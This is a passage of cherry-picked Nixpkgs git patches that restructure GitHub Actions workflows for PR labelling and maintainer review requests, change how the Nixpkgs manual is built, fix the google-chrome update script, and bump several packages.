+    ++ optionals (!stdenv.hostPlatform.isDarwin || passthru.pythonAtLeast "3.14") [
       pkg-config
     ]
     ++ optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
@@ -227,6 +230,9 @@ let
       xz
       zlib
     ]
+    ++ optionals (passthru.pythonAtLeast "3.14") [
+      zstd
+    ]
     ++ optionals bluezSupport [
       bluez
     ]

From 214dfb2f3f5f3cd3cd7f31755579eee260de98cd Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 26 May 2025 15:48:15 +0200
Subject: [PATCH 0321/4511] workflows/{eval,labels}: allow testing labeling job
 in forks

A while ago, I added those "owner == NixOS" conditions, because I
couldn't figure out why my fork kept failing those jobs, even though I
had set up the apps correctly.

Turns out, that when a label doesn't exist, those actions try to
implicitly create it. But to do that, they actually need write
permissions on the *issues* endpoint, the pull-requests endpoint is not
enough. Even though the docs state otherwise.

Thus, adding those permissions. This will also lead to new labels being
created when they are added via code (for example in
.github/labels.yml), even when they had not been created, yet. Labels
created this way will initially be grayish color and without description
- but we can always add those later, there is no point in failing
pipelines for everyone in that case.

(cherry picked from commit d2ff68b564f6009f1864b6c73eca6f5f4c5bbc8e)
---
 .github/workflows/eval.yml   | 7 ++++---
 .github/workflows/labels.yml | 3 ++-
 2 files changed, 6 insertions(+), 4 deletions(-)

diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index b9a9c7e9dcbe..f0cb89e12817 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -159,6 +159,7 @@ jobs:
     needs: [ prepare, outpaths ]
     if: needs.prepare.outputs.targetSha
     permissions:
+      issues: write # needed to create *new* labels
       pull-requests: write
       statuses: write
     steps:
@@ -213,7 +214,7 @@ jobs:
         run: nix-build trusted/ci -A requestReviews
 
       - name: Labelling pull request
-        if: ${{ github.event_name == 'pull_request_target' && github.repository_owner == 'NixOS' }}
+        if: ${{ github.event_name == 'pull_request_target' }}
         env:
           GH_TOKEN: ${{ github.token }}
           REPOSITORY: ${{ github.repository }}
@@ -247,7 +248,7 @@ jobs:
           done < <(comm -13 before after)
 
       - name: Add eval summary to commit statuses
-        if: ${{ github.event_name == 'pull_request_target' && github.repository_owner == 'NixOS' }}
+        if: ${{ github.event_name == 'pull_request_target' }}
         env:
           GH_TOKEN: ${{ github.token }}
           PR_HEAD_SHA: ${{ github.event.pull_request.head.sha }}
@@ -279,7 +280,7 @@ jobs:
           permission-pull-requests: write
 
       - name: Requesting maintainer reviews
-        if: ${{ steps.app-token.outputs.token && github.repository_owner == 'NixOS' }}
+        if: ${{ steps.app-token.outputs.token }}
         env:
           GH_TOKEN: ${{ github.token }}
           REPOSITORY: ${{ github.repository }}
diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 05fbb691d488..1fab6eba3977 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -10,13 +10,14 @@ on:
 
 permissions:
   contents: read
+  issues: write # needed to create *new* labels
   pull-requests: write
 
 jobs:
   labels:
     name: label-pr
     runs-on: ubuntu-24.04-arm
-    if: "github.repository_owner == 'NixOS' && !contains(github.event.pull_request.title, '[skip treewide]')"
+    if: "!contains(github.event.pull_request.title, '[skip treewide]')"
     steps:
       - uses: actions/labeler@8558fd74291d67161a8a78ce36a881fa63b766a9 # v5.0.0
         if: |

From 696cd8e8695ab639d1efc106c9ae460e1c9b2cd2 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 26 May 2025 16:20:46 +0200
Subject: [PATCH 0322/4511] workflows/eval: split tag into compare and reviews
 jobs

Splitting the job up into two is required to then move the reviews job
to a separate, re-usable workflow in the next step.

To avoid the eval workflow from taking more time to finish, after having
it optimized carefully recently, the reviews job starts in parallel to
the compare job, even though it requires the comparison results to
finish. We can then use the time to already set up nix, build
requestReviews and fetch our app-token.

This might seem overly complex, but given that we need to do the same
dance in the next commit when we run the re-usable workflow separately,
it's actually just easier to review that way, not more.

(cherry picked from commit ecf95fa458a838357565c0d67e3c919e521ec668)
---
 .github/workflows/eval.yml | 54 ++++++++++++++++++++++++++++++++++----
 1 file changed, 49 insertions(+), 5 deletions(-)

diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index f0cb89e12817..06b8f2dcf045 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -153,8 +153,8 @@ jobs:
           name: diff-${{ matrix.system }}
           path: diff/*
 
-  tag:
-    name: Tag
+  compare:
+    name: Comparison
     runs-on: ubuntu-24.04-arm
     needs: [ prepare, outpaths ]
     if: needs.prepare.outputs.targetSha
@@ -210,9 +210,6 @@ jobs:
           name: comparison
           path: comparison/*
 
-      - name: Build the requestReviews derivation
-        run: nix-build trusted/ci -A requestReviews
-
       - name: Labelling pull request
         if: ${{ github.event_name == 'pull_request_target' }}
         env:
@@ -267,6 +264,29 @@ jobs:
             "/repos/$GITHUB_REPOSITORY/statuses/$PR_HEAD_SHA" \
             -f "context=Eval / Summary" -f "state=success" -f "description=$description" -f "target_url=$target_url"
 
+  reviews:
+    name: Request Reviews
+    runs-on: ubuntu-24.04-arm
+    # No dependency on "compare", so that it can start at the same time.
+    # We only wait for the "comparison" artifact to be available, which makes the start-to-finish time
+    # for the eval workflow considerably faster.
+    needs: [ prepare, outpaths ]
+    if: needs.prepare.outputs.targetSha
+    steps:
+      - name: Check out the PR at the base commit
+        uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
+        with:
+          path: trusted
+          sparse-checkout: ci
+
+      - name: Install Nix
+        uses: cachix/install-nix-action@526118121621777ccd86f79b04685a9319637641 # v31
+        with:
+          extra_nix_config: sandbox = true
+
+      - name: Build the requestReviews derivation
+        run: nix-build trusted/ci -A requestReviews
+
       # See ./codeowners-v2.yml, reuse the same App because we need the same permissions
       # Can't use the token received from permissions above, because it can't get enough permissions
       - uses: actions/create-github-app-token@df432ceedc7162793a195dd1713ff69aefc7379e # v2.0.6
@@ -279,6 +299,30 @@ jobs:
           permission-members: read
           permission-pull-requests: write
 
+      - name: Wait for comparison to be done
+        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+        with:
+          script: |
+            // Waiting 24 * 5 sec = 2 min. max.
+            for (let i = 0; i < 24; i++) {
+              const result = await github.rest.actions.listWorkflowRunArtifacts({
+                owner: context.repo.owner,
+                repo: context.repo.repo,
+                run_id: context.runId,
+                name: 'comparison'
+              })
+              if (result.data.total_count > 0) return
+              await new Promise(resolve => setTimeout(resolve, 5000))
+            }
+            throw new Error("No comparison artifact found.")
+
+      - name: Download the comparison results
+        uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
+        with:
+          pattern: comparison
+          path: comparison
+          merge-multiple: true
+
       - name: Requesting maintainer reviews
         if: ${{ steps.app-token.outputs.token }}
         env:

From 9d8a54cf9df220b2f3bb0cc996911a0cc1b2f8a9 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 26 May 2025 09:14:40 +0200
Subject: [PATCH 0323/4511] workflows/eval: split reviewers job into re-usable
 workflow

This allows us to trigger only the reviewers job when undrafting a PR in
the next step. Split for ease of review. The code is copied 1:1 to
reviewers.yml.

(cherry picked from commit 4c2e23826c98b3eb6fb2337642907b8d1c988ccf)
---
 .github/workflows/eval.yml      | 73 ++----------------------------
 .github/workflows/reviewers.yml | 80 +++++++++++++++++++++++++++++++++
 2 files changed, 84 insertions(+), 69 deletions(-)
 create mode 100644 .github/workflows/reviewers.yml

diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index 06b8f2dcf045..0aa475c4c1e1 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -264,77 +264,12 @@ jobs:
             "/repos/$GITHUB_REPOSITORY/statuses/$PR_HEAD_SHA" \
             -f "context=Eval / Summary" -f "state=success" -f "description=$description" -f "target_url=$target_url"
 
-  reviews:
-    name: Request Reviews
-    runs-on: ubuntu-24.04-arm
+  reviewers:
+    name: Reviewers
     # No dependency on "compare", so that it can start at the same time.
     # We only wait for the "comparison" artifact to be available, which makes the start-to-finish time
     # for the eval workflow considerably faster.
     needs: [ prepare, outpaths ]
     if: needs.prepare.outputs.targetSha
-    steps:
-      - name: Check out the PR at the base commit
-        uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
-        with:
-          path: trusted
-          sparse-checkout: ci
-
-      - name: Install Nix
-        uses: cachix/install-nix-action@526118121621777ccd86f79b04685a9319637641 # v31
-        with:
-          extra_nix_config: sandbox = true
-
-      - name: Build the requestReviews derivation
-        run: nix-build trusted/ci -A requestReviews
-
-      # See ./codeowners-v2.yml, reuse the same App because we need the same permissions
-      # Can't use the token received from permissions above, because it can't get enough permissions
-      - uses: actions/create-github-app-token@df432ceedc7162793a195dd1713ff69aefc7379e # v2.0.6
-        if: vars.OWNER_APP_ID
-        id: app-token
-        with:
-          app-id: ${{ vars.OWNER_APP_ID }}
-          private-key: ${{ secrets.OWNER_APP_PRIVATE_KEY }}
-          permission-administration: read
-          permission-members: read
-          permission-pull-requests: write
-
-      - name: Wait for comparison to be done
-        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
-        with:
-          script: |
-            // Waiting 24 * 5 sec = 2 min. max.
-            for (let i = 0; i < 24; i++) {
-              const result = await github.rest.actions.listWorkflowRunArtifacts({
-                owner: context.repo.owner,
-                repo: context.repo.repo,
-                run_id: context.runId,
-                name: 'comparison'
-              })
-              if (result.data.total_count > 0) return
-              await new Promise(resolve => setTimeout(resolve, 5000))
-            }
-            throw new Error("No comparison artifact found.")
-
-      - name: Download the comparison results
-        uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
-        with:
-          pattern: comparison
-          path: comparison
-          merge-multiple: true
-
-      - name: Requesting maintainer reviews
-        if: ${{ steps.app-token.outputs.token }}
-        env:
-          GH_TOKEN: ${{ github.token }}
-          REPOSITORY: ${{ github.repository }}
-          NUMBER: ${{ github.event.number }}
-          AUTHOR: ${{ github.event.pull_request.user.login }}
-          # Don't request reviewers on draft PRs
-          DRY_MODE: ${{ github.event.pull_request.draft && '1' || '' }}
-        run: |
-          # maintainers.json contains GitHub IDs. Look up handles to request reviews from.
-          # There appears to be no API to request reviews based on GitHub IDs
-          jq -r 'keys[]' comparison/maintainers.json \
-            | while read -r id; do gh api /user/"$id" --jq .login; done \
-            | GH_TOKEN=${{ steps.app-token.outputs.token }} result/bin/request-reviewers.sh "$REPOSITORY" "$NUMBER" "$AUTHOR"
+    uses: ./.github/workflows/reviewers.yml
+    secrets: inherit
diff --git a/.github/workflows/reviewers.yml b/.github/workflows/reviewers.yml
new file mode 100644
index 000000000000..141541c57330
--- /dev/null
+++ b/.github/workflows/reviewers.yml
@@ -0,0 +1,80 @@
+# This workflow will request reviews from the maintainers of each package
+# listed in the PR's most recent eval comparison artifact.
+
+name: Reviewers
+
+on:
+  workflow_call:
+
+permissions: {}
+
+jobs:
+  request:
+    name: Request
+    runs-on: ubuntu-24.04-arm
+    steps:
+      - name: Check out the PR at the base commit
+        uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
+        with:
+          path: trusted
+          sparse-checkout: ci
+
+      - name: Install Nix
+        uses: cachix/install-nix-action@526118121621777ccd86f79b04685a9319637641 # v31
+        with:
+          extra_nix_config: sandbox = true
+
+      - name: Build the requestReviews derivation
+        run: nix-build trusted/ci -A requestReviews
+
+      # See ./codeowners-v2.yml, reuse the same App because we need the same permissions
+      # Can't use the token received from permissions above, because it can't get enough permissions
+      - uses: actions/create-github-app-token@df432ceedc7162793a195dd1713ff69aefc7379e # v2.0.6
+        if: vars.OWNER_APP_ID
+        id: app-token
+        with:
+          app-id: ${{ vars.OWNER_APP_ID }}
+          private-key: ${{ secrets.OWNER_APP_PRIVATE_KEY }}
+          permission-administration: read
+          permission-members: read
+          permission-pull-requests: write
+
+      - name: Wait for comparison to be done
+        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+        with:
+          script: |
+            // Waiting 24 * 5 sec = 2 min. max.
+            for (let i = 0; i < 24; i++) {
+              const result = await github.rest.actions.listWorkflowRunArtifacts({
+                owner: context.repo.owner,
+                repo: context.repo.repo,
+                run_id: context.runId,
+                name: 'comparison'
+              })
+              if (result.data.total_count > 0) return
+              await new Promise(resolve => setTimeout(resolve, 5000))
+            }
+            throw new Error("No comparison artifact found.")
+
+      - name: Download the comparison results
+        uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
+        with:
+          pattern: comparison
+          path: comparison
+          merge-multiple: true
+
+      - name: Requesting maintainer reviews
+        if: ${{ steps.app-token.outputs.token }}
+        env:
+          GH_TOKEN: ${{ github.token }}
+          REPOSITORY: ${{ github.repository }}
+          NUMBER: ${{ github.event.number }}
+          AUTHOR: ${{ github.event.pull_request.user.login }}
+          # Don't request reviewers on draft PRs
+          DRY_MODE: ${{ github.event.pull_request.draft && '1' || '' }}
+        run: |
+          # maintainers.json contains GitHub IDs. Look up handles to request reviews from.
+          # There appears to be no API to request reviews based on GitHub IDs
+          jq -r 'keys[]' comparison/maintainers.json \
+            | while read -r id; do gh api /user/"$id" --jq .login; done \
+            | GH_TOKEN=${{ steps.app-token.outputs.token }} result/bin/request-reviewers.sh "$REPOSITORY" "$NUMBER" "$AUTHOR"

From 1166640be9a207f5707324215752a727ab3c167b Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 26 May 2025 09:44:44 +0200
Subject: [PATCH 0324/4511] workflows/eval: skip on ready_for_review

We don't need to run full eval when undrafting a PR. We already have an
eval result, so we can use that to do the maintainer pings.

We need to wait for eval to finish first, but we're already half there
because of how we're waiting for the artifact to appear. Since the
ready_for_review case is triggered in a different workflow run, we'll
need to fetch the ID of the relevant Eval workflow first, though.

(cherry picked from commit 83700242038485a49750f4a8f722389fa325b2c0)
---
 .github/workflows/eval.yml      |  2 +-
 .github/workflows/reviewers.yml | 24 +++++++++++++++++++++---
 2 files changed, 22 insertions(+), 4 deletions(-)

diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index 0aa475c4c1e1..ccf54af04e32 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -4,8 +4,8 @@ on:
   pull_request:
     paths:
       - .github/workflows/eval.yml
+      - .github/workflows/reviews.yml # needs eval results from the same event type
   pull_request_target:
-    types: [opened, ready_for_review, synchronize, reopened]
   push:
     # Keep this synced with ci/request-reviews/dev-branches.txt
     branches:
diff --git a/.github/workflows/reviewers.yml b/.github/workflows/reviewers.yml
index 141541c57330..62c8f242164b 100644
--- a/.github/workflows/reviewers.yml
+++ b/.github/workflows/reviewers.yml
@@ -4,6 +4,11 @@
 name: Reviewers
 
 on:
+  pull_request:
+    paths:
+      - .github/workflows/reviewers.yml
+  pull_request_target:
+    types: [ready_for_review]
   workflow_call:
 
 permissions: {}
@@ -39,16 +44,29 @@ jobs:
           permission-members: read
           permission-pull-requests: write
 
+
+      # In the regular case, this workflow is called via workflow_call from the eval workflow directly.
+      # In the more special case, when a PR is undrafted an eval run will have started already.
       - name: Wait for comparison to be done
         uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
         with:
           script: |
-            // Waiting 24 * 5 sec = 2 min. max.
-            for (let i = 0; i < 24; i++) {
+            const run_id = (await github.rest.actions.listWorkflowRuns({
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              workflow_id: 'eval.yml',
+              event: context.eventName,
+              head_sha: context.payload.pull_request.head.sha
+            })).data.workflow_runs[0].id
+
+            // Waiting 120 * 5 sec = 10 min. max.
+            // The extreme case is an Eval run that just started when the PR is undrafted.
+            // Eval takes max 5-6 minutes, normally.
+            for (let i = 0; i < 120; i++) {
               const result = await github.rest.actions.listWorkflowRunArtifacts({
                 owner: context.repo.owner,
                 repo: context.repo.repo,
-                run_id: context.runId,
+                run_id,
                 name: 'comparison'
               })
               if (result.data.total_count > 0) return

From 691eb412f6e6e180601dd53d3c75a64db2580377 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 29 May 2025 16:27:56 +0200
Subject: [PATCH 0325/4511] ci: Update pinned Nixpkgs

From the nixpkgs-unstable channel:
https://hydra.nixos.org/eval/1815639#tabs-inputs

(cherry picked from commit 2f097cae61fd6062d863c7feba3fe3fa9f21eae0)
---
 ci/pinned-nixpkgs.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/ci/pinned-nixpkgs.json b/ci/pinned-nixpkgs.json
index f5efff109e8c..7a9596380c41 100644
--- a/ci/pinned-nixpkgs.json
+++ b/ci/pinned-nixpkgs.json
@@ -1,4 +1,4 @@
 {
-  "rev": "eaeed9530c76ce5f1d2d8232e08bec5e26f18ec1",
-  "sha256": "132nimgi1g88fbhddk4b8b1qk68jly494x2mnphyk3xa1d2wy9q7"
+  "rev": "3d1f29646e4b57ed468d60f9d286cde23a8d1707",
+  "sha256": "1wzvc9h9a6l9wyhzh892xb5x88kxmbzxb1k8s7fizyyw2q4nqw07"
 }

From 33b29058379728dcde2a7ad11784f6a8d8becc61 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 29 May 2025 16:32:19 +0200
Subject: [PATCH 0326/4511] workflows/manual-nixpkgs: build nixpkgs manual on
 staging and stable branches

By using the pinned nixpkgs we have for CI, we can lift the restriction
of building the nixpkgs manual only in PRs targeting master.

At the same time, this uses the pinned nixpkgs for the doc/ folder's dev
shell. This allows entering that shell while working on a staging-based
branch and write documentation.

Why should staging be un(der)documented, after all?

Note: The package that is available in nixpkgs as pkgs.nixpkgs-manual
will still be built with the current nixpkgs checkout, not the pinned
version. This is the same that hydra builds.

(cherry picked from commit ef1077013b863132e7429e946d221b4c810b5f53)
---
 .github/workflows/manual-nixpkgs-v2.yml | 4 +---
 ci/default.nix                          | 4 ++--
 doc/default.nix                         | 4 ++--
 doc/shell.nix                           | 8 +-------
 4 files changed, 6 insertions(+), 14 deletions(-)

diff --git a/.github/workflows/manual-nixpkgs-v2.yml b/.github/workflows/manual-nixpkgs-v2.yml
index 13949dd3c36e..c6af1f14b34e 100644
--- a/.github/workflows/manual-nixpkgs-v2.yml
+++ b/.github/workflows/manual-nixpkgs-v2.yml
@@ -5,8 +5,6 @@ on:
     paths:
       - .github/workflows/manual-nixpkgs-v2.yml
   pull_request_target:
-    branches:
-      - master
     paths:
       - 'doc/**'
       - 'lib/**'
@@ -38,4 +36,4 @@ jobs:
           authToken: '${{ secrets.CACHIX_AUTH_TOKEN }}'
 
       - name: Building Nixpkgs manual
-        run: NIX_PATH=nixpkgs=$(pwd)/untrusted nix-build --option restrict-eval true untrusted/ci -A manual-nixpkgs -A manual-nixpkgs-tests
+        run: nix-build untrusted/ci -A manual-nixpkgs -A manual-nixpkgs-tests
diff --git a/ci/default.nix b/ci/default.nix
index 939e8411d27a..94d049903fca 100644
--- a/ci/default.nix
+++ b/ci/default.nix
@@ -82,8 +82,8 @@ in
   # CI jobs
   lib-tests = import ../lib/tests/release.nix { inherit pkgs; };
   manual-nixos = (import ../nixos/release.nix { }).manual.${system} or null;
-  manual-nixpkgs = (import ../pkgs/top-level/release.nix { }).manual;
-  manual-nixpkgs-tests = (import ../pkgs/top-level/release.nix { }).manual.tests;
+  manual-nixpkgs = (import ../doc { });
+  manual-nixpkgs-tests = (import ../doc { }).tests;
   nixpkgs-vet = pkgs.callPackage ./nixpkgs-vet.nix { };
   parse = pkgs.lib.recurseIntoAttrs {
     latest = pkgs.callPackage ./parse.nix { nix = pkgs.nixVersions.latest; };
diff --git a/doc/default.nix b/doc/default.nix
index 2c9a0439feb5..7e2d0df152cc 100644
--- a/doc/default.nix
+++ b/doc/default.nix
@@ -1,6 +1,6 @@
 {
-  pkgs ? (import ./.. { }),
+  pkgs ? (import ../ci { }).pkgs,
   nixpkgs ? { },
 }:
 
-pkgs.nixpkgs-manual.override { inherit nixpkgs; }
+pkgs.callPackage ./doc-support/package.nix { inherit nixpkgs; }
diff --git a/doc/shell.nix b/doc/shell.nix
index 3aad697742b2..fbd4670b9465 100644
--- a/doc/shell.nix
+++ b/doc/shell.nix
@@ -1,7 +1 @@
-let
-  pkgs = import ../. {
-    config = { };
-    overlays = [ ];
-  };
-in
-pkgs.nixpkgs-manual.shell
+(import ./default.nix { }).shell

From a41a6aeec53c03be1143f11ce6d37592b044c51b Mon Sep 17 00:00:00 2001
From: Jon Seager <jon@sgrs.uk>
Date: Fri, 30 May 2025 16:50:11 +0100
Subject: [PATCH 0327/4511] google-chrome: fix update script

(cherry picked from commit 2d031f9457062759ad8f70fae01f4b6187f73a20)
---
 pkgs/by-name/go/google-chrome/update.sh | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/go/google-chrome/update.sh b/pkgs/by-name/go/google-chrome/update.sh
index f31a67b4b700..c65b8ae4dfec 100755
--- a/pkgs/by-name/go/google-chrome/update.sh
+++ b/pkgs/by-name/go/google-chrome/update.sh
@@ -30,7 +30,7 @@ update_linux() {
     local new_hash
     local new_sri_hash
 
-    read -ra version_info <<< "$(get_version_info "linux" "linux = stdenv.mkDerivation" "});")"
+    read -ra version_info <<< "$(get_version_info "linux" "linux = stdenvNoCC.mkDerivation" "});")"
     version="${version_info[0]}"
     current_version="${version_info[1]}"
 
@@ -43,8 +43,8 @@ update_linux() {
     new_hash="$(nix-prefetch-url "$download_url" 2>/dev/null)"
     new_sri_hash="$(nix hash to-sri --type sha256 "$new_hash")"
 
-    sed -i "/^  linux = stdenv.mkDerivation/,/^  });/s/version = \".*\"/version = \"$version\"/" "$DEFAULT_NIX"
-    sed -i "/^  linux = stdenv.mkDerivation/,/^  });/s|hash = \".*\"|hash = \"$new_sri_hash\"|" "$DEFAULT_NIX"
+    sed -i "/^  linux = stdenvNoCC.mkDerivation/,/^  });/s/version = \".*\"/version = \"$version\"/" "$DEFAULT_NIX"
+    sed -i "/^  linux = stdenvNoCC.mkDerivation/,/^  });/s|hash = \".*\"|hash = \"$new_sri_hash\"|" "$DEFAULT_NIX"
 
     echo "[Nix] Linux google-chrome: $current_version -> $version with hash $new_hash"
 }

From cbd2361d6520988ba7ae87f75a58e3f6802900ec Mon Sep 17 00:00:00 2001
From: OPNA2608 <opna2608@protonmail.com>
Date: Wed, 28 May 2025 13:33:16 +0200
Subject: [PATCH 0328/4511] lomiri.lomiri-content-hub: 2.0.0 -> 2.1.0

(cherry picked from commit 7b9e61f19fd528af5a172ff55e4dfc271097e710)
---
 .../services/lomiri-content-hub/default.nix   | 25 ++++++++++++++++---
 1 file changed, 21 insertions(+), 4 deletions(-)

diff --git a/pkgs/desktops/lomiri/services/lomiri-content-hub/default.nix b/pkgs/desktops/lomiri/services/lomiri-content-hub/default.nix
index 406022b7074e..395d1dc0c7eb 100644
--- a/pkgs/desktops/lomiri/services/lomiri-content-hub/default.nix
+++ b/pkgs/desktops/lomiri/services/lomiri-content-hub/default.nix
@@ -2,7 +2,9 @@
   stdenv,
   lib,
   fetchFromGitLab,
+  fetchpatch,
   gitUpdater,
+  nixosTests,
   testers,
   cmake,
   cmake-extras,
@@ -31,13 +33,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "lomiri-content-hub";
-  version = "2.0.0";
+  version = "2.1.0";
 
   src = fetchFromGitLab {
     owner = "ubports";
     repo = "development/core/lomiri-content-hub";
     rev = finalAttrs.version;
-    hash = "sha256-eA5oCoAZB7fWyWm0Sy6wXh0EW+h76bdfJ2dotr7gUC0=";
+    hash = "sha256-S/idjDdcRvqZqKmflkYJyQckz4/9k/8JY6eRDACk9Ag=";
   };
 
   outputs = [
@@ -47,9 +49,18 @@ stdenv.mkDerivation (finalAttrs: {
     "examples"
   ];
 
+  patches = [
+    # Remove when version > 2.1.0
+    (fetchpatch {
+      name = "0001-lomiri-content-hub-treewide-Add-missing-LDM-include-dirs.patch";
+      url = "https://gitlab.com/ubports/development/core/lomiri-content-hub/-/commit/cdd3371714c183d4caf166157082288c022bb98d.patch";
+      hash = "sha256-Uubd425T+0KxPR9lJW6+ejO2fFzcDwEIpJATSZ9jYD4=";
+    })
+  ];
+
   postPatch = ''
     substituteInPlace import/*/Content/CMakeLists.txt \
-      --replace-fail "\''${CMAKE_INSTALL_LIBDIR}/qt5/qml" "\''${CMAKE_INSTALL_PREFIX}/${qtbase.qtQmlPrefix}"
+      --replace-fail "\''${CMAKE_INSTALL_LIBDIR}/qt\''${QT_VERSION_MAJOR}/qml" "\''${CMAKE_INSTALL_PREFIX}/${qtbase.qtQmlPrefix}"
 
     # Look for peer files in running system
     substituteInPlace src/com/lomiri/content/service/registry-updater.cpp \
@@ -101,6 +112,7 @@ stdenv.mkDerivation (finalAttrs: {
   cmakeFlags = [
     (lib.cmakeBool "GSETTINGS_COMPILE" true)
     (lib.cmakeBool "GSETTINGS_LOCALINSTALL" true)
+    (lib.cmakeBool "ENABLE_QT6" (lib.strings.versionAtLeast qtbase.version "6"))
     (lib.cmakeBool "ENABLE_TESTS" finalAttrs.finalPackage.doCheck)
     (lib.cmakeBool "ENABLE_DOC" true)
     (lib.cmakeBool "ENABLE_UBUNTU_COMPAT" true) # in case something still depends on it
@@ -145,7 +157,12 @@ stdenv.mkDerivation (finalAttrs: {
   '';
 
   passthru = {
-    tests.pkg-config = testers.testMetaPkgConfig finalAttrs.finalPackage;
+    tests = {
+      pkg-config = testers.testMetaPkgConfig finalAttrs.finalPackage;
+      # Tests content-hub functionality, up to the point where one app receives a content exchange request
+      # from another and changes into a mode to pick the content to send
+      vm = nixosTests.lomiri.desktop-appinteractions;
+    };
     updateScript = gitUpdater { };
   };
 

From f8f276bb54524a5f1efefec93c6b59b12216afa8 Mon Sep 17 00:00:00 2001
From: Muhammad Falak R Wani <falakreyaz@gmail.com>
Date: Sat, 31 May 2025 07:29:42 +0530
Subject: [PATCH 0329/4511] skim: 0.17.3 -> 0.18.0

Diff: https://github.com/skim-rs/skim/compare/refs/tags/v0.17.3...v0.18.0
Changelog: https://github.com/skim-rs/skim/releases/tag/v0.18.0
Signed-off-by: Muhammad Falak R Wani <falakreyaz@gmail.com>
(cherry picked from commit 6d0f53825ae32e70ece63e80e69795c9d385ffdd)
---
 pkgs/by-name/sk/skim/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sk/skim/package.nix b/pkgs/by-name/sk/skim/package.nix
index 0656f449a518..aee7240ff1ae 100644
--- a/pkgs/by-name/sk/skim/package.nix
+++ b/pkgs/by-name/sk/skim/package.nix
@@ -12,7 +12,7 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "skim";
-  version = "0.17.3";
+  version = "0.18.0";
 
   outputs = [
     "out"
@@ -24,7 +24,7 @@ rustPlatform.buildRustPackage rec {
     owner = "skim-rs";
     repo = "skim";
     tag = "v${version}";
-    hash = "sha256-aq6qOlxFftiUyMqzbIgv/PnxqSNt6TsHCsy586LdZy0=";
+    hash = "sha256-79HHJeAP3pnM/KAdGsGw31MRXl3Qz2ttTvXX+oBCcow=";
   };
 
   postPatch = ''
@@ -32,7 +32,7 @@ rustPlatform.buildRustPackage rec {
   '';
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-yhZFLrpI2U/9VWGZkzYGzF5nPRmKpqJnfZ+6bmBYXNI=";
+  cargoHash = "sha256-N1s6Kf6iy28QcrLQy6TVbXjfSb9KtzJeaKksW4wXsMw=";
 
   nativeBuildInputs = [ installShellFiles ];
 

From 47e70eb65995c80762252df35b3ff52ec36efb6a Mon Sep 17 00:00:00 2001
From: phanirithvij <phanirithvij2000@gmail.com>
Date: Sat, 24 May 2025 14:57:00 +0530
Subject: [PATCH 0330/4511] [Backport release-25.05] fx: 36.0.0 -> 36.0.3

and refactor

Signed-off-by: phanirithvij <phanirithvij2000@gmail.com>
(cherry picked from commit 4460656436381d1f00f43b7e3b26e3fb6b4acef0)
---
 pkgs/by-name/fx/fx/package.nix | 28 +++++++++++++++-------------
 1 file changed, 15 insertions(+), 13 deletions(-)

diff --git a/pkgs/by-name/fx/fx/package.nix b/pkgs/by-name/fx/fx/package.nix
index 562ea3bd6b89..1c83f71bc82c 100644
--- a/pkgs/by-name/fx/fx/package.nix
+++ b/pkgs/by-name/fx/fx/package.nix
@@ -5,21 +5,23 @@
   installShellFiles,
 }:
 
-buildGoModule rec {
+buildGoModule (finalAttrs: {
   pname = "fx";
-  version = "36.0.0";
+  version = "36.0.3";
 
   src = fetchFromGitHub {
     owner = "antonmedv";
-    repo = pname;
-    rev = version;
-    hash = "sha256-wUiyMczToGqfHZ/FMUhCO4ud6h/bNHhVt4eWoZJckbU=";
+    repo = "fx";
+    tag = finalAttrs.version;
+    hash = "sha256-SUv6kHqIft7M7XyypA7jBYcEuYHLYYVtTnwgL1vhT3w=";
   };
 
-  nativeBuildInputs = [ installShellFiles ];
-
   vendorHash = "sha256-8KiCj2khO0zxsZDG1YD0EjsoZSY4q+IXC+NLeeXgVj4=";
 
+  ldflags = [ "-s" ];
+
+  nativeBuildInputs = [ installShellFiles ];
+
   postInstall = ''
     installShellCompletion --cmd fx \
       --bash <($out/bin/fx --comp bash) \
@@ -27,12 +29,12 @@ buildGoModule rec {
       --zsh <($out/bin/fx --comp zsh)
   '';
 
-  meta = with lib; {
+  meta = {
